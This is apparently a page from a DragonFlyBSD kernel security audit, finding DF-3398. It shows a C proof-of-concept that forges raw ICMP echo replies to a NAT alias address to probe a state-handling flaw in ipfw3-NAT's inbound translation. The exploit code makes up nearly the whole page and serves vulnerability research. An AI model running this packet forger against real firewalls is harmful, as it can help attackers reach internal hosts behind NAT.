⬢ DragonFlyBSD Kernel Audit
DF-3398 / icmp_in.c
← back to finding ↓ download raw
/*
 * DF-3398 inbound oracle: forge an ICMP ECHO REPLY to the NAT alias IP
 * carrying a chosen raw icmp_id. If ipfw3-NAT's outbound OOB store populated
 * alias->icmp_in[icmp_id], the inbound translator finds a (bogus) state and
 * the packet is translated (dst rewritten to the original internal host) and
 * forwarded -- observable on vtnet0 egress / tcpdump.
 *
 * usage: icmp_in <raw_icmp_id_hex>
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/usched.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static uint16_t
cksum(void *v, int len)
{
	uint16_t *p = v;
	uint32_t sum = 0;

	while (len > 1) {
		sum += *p++;
		len -= 2;
	}
	if (len == 1)
		sum += *(uint8_t *)p;
	while (sum >> 16)
		sum = (sum >> 16) + (sum & 0xffff);
	return (~sum) & 0xffff;
}

int
main(int argc, char **argv)
{
	char pktbuf[sizeof(struct ip) + 8 + 56];
	struct ip *ip = (struct ip *)pktbuf;
	struct icmp *ic = (struct icmp *)(pktbuf + sizeof(struct ip));
	struct sockaddr_in sin;
	int s, one = 1;
	uint32_t id = strtoul(argv[1], NULL, 16);
	int cpu = (argc > 2) ? atoi(argv[2]) : 0;

	if (cpu >= 0)
		usched_set(getpid(), USCHED_SET_CPU, &cpu, sizeof(cpu));

	s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
	if (s < 0) { perror("socket"); return 1; }
	setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));

	memset(pktbuf, 0, sizeof(pktbuf));
	ip->ip_hl = 5;
	ip->ip_v = 4;
	ip->ip_len = htons(sizeof(pktbuf));
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_ICMP;
	inet_aton("10.0.2.2", &ip->ip_src);	/* pretend remote peer */
	inet_aton("10.0.2.15", &ip->ip_dst);	/* NAT alias address */
	ip->ip_sum = 0;
	ip->ip_sum = cksum(ip, sizeof(struct ip));

	ic->icmp_type = ICMP_ECHOREPLY;
	ic->icmp_code = 0;
	ic->icmp_id = (uint16_t)id;		/* RAW value, no htons */
	ic->icmp_seq = htons(1);
	ic->icmp_cksum = 0;
	ic->icmp_cksum = cksum(ic, 8 + 56);

	memset(&sin, 0, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_len = sizeof(sin);
	sin.sin_addr = ip->ip_dst.s_addr ? ip->ip_dst : ip->ip_dst;
	sin.sin_addr.s_addr = ip->ip_dst.s_addr;

	if (sendto(s, pktbuf, sizeof(pktbuf), 0,
	    (struct sockaddr *)&sin, sizeof(sin)) < 0)
		perror("sendto");
	printf("sent inbound echo-reply icmp_id raw=0x%04x\n", (unsigned)id & 0xffff);
	return 0;
}